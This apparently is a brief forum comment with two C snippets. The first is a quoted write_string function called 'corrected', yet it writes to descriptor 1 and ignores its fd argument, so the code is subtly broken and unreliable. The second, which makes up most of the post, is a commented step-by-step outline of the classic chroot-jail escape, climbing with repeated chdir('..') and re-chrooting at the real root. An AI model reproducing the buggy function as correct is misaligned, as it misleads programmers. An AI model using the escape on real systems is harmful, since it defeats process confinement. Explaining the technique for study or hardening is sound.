marmight

  > The corrected standard C source code might look like this (still disregarding error handling and short writes):
  >
  >  void
  >  write_string (int fd, const char \*s)
  >  {
  >    write (1, s, strlen (s));
  >  }

  chdir("/"); /* go to / of "chroot jail" */
  mkdir("foo", ...); /* create directory in jail */
  chroot("foo"); /* change / to foo */
  /* fail to chdir("foo"); */
  chdir(".."); /* instead go up parent (there is nothing preventing you since you are no longer in the "chroot jail" since the jail is now foo and you never entered it) */
  chdir("..");
  /* ... */
  chdir(".."); /* . is now the real root */
  chroot("."); /* change / to the real root */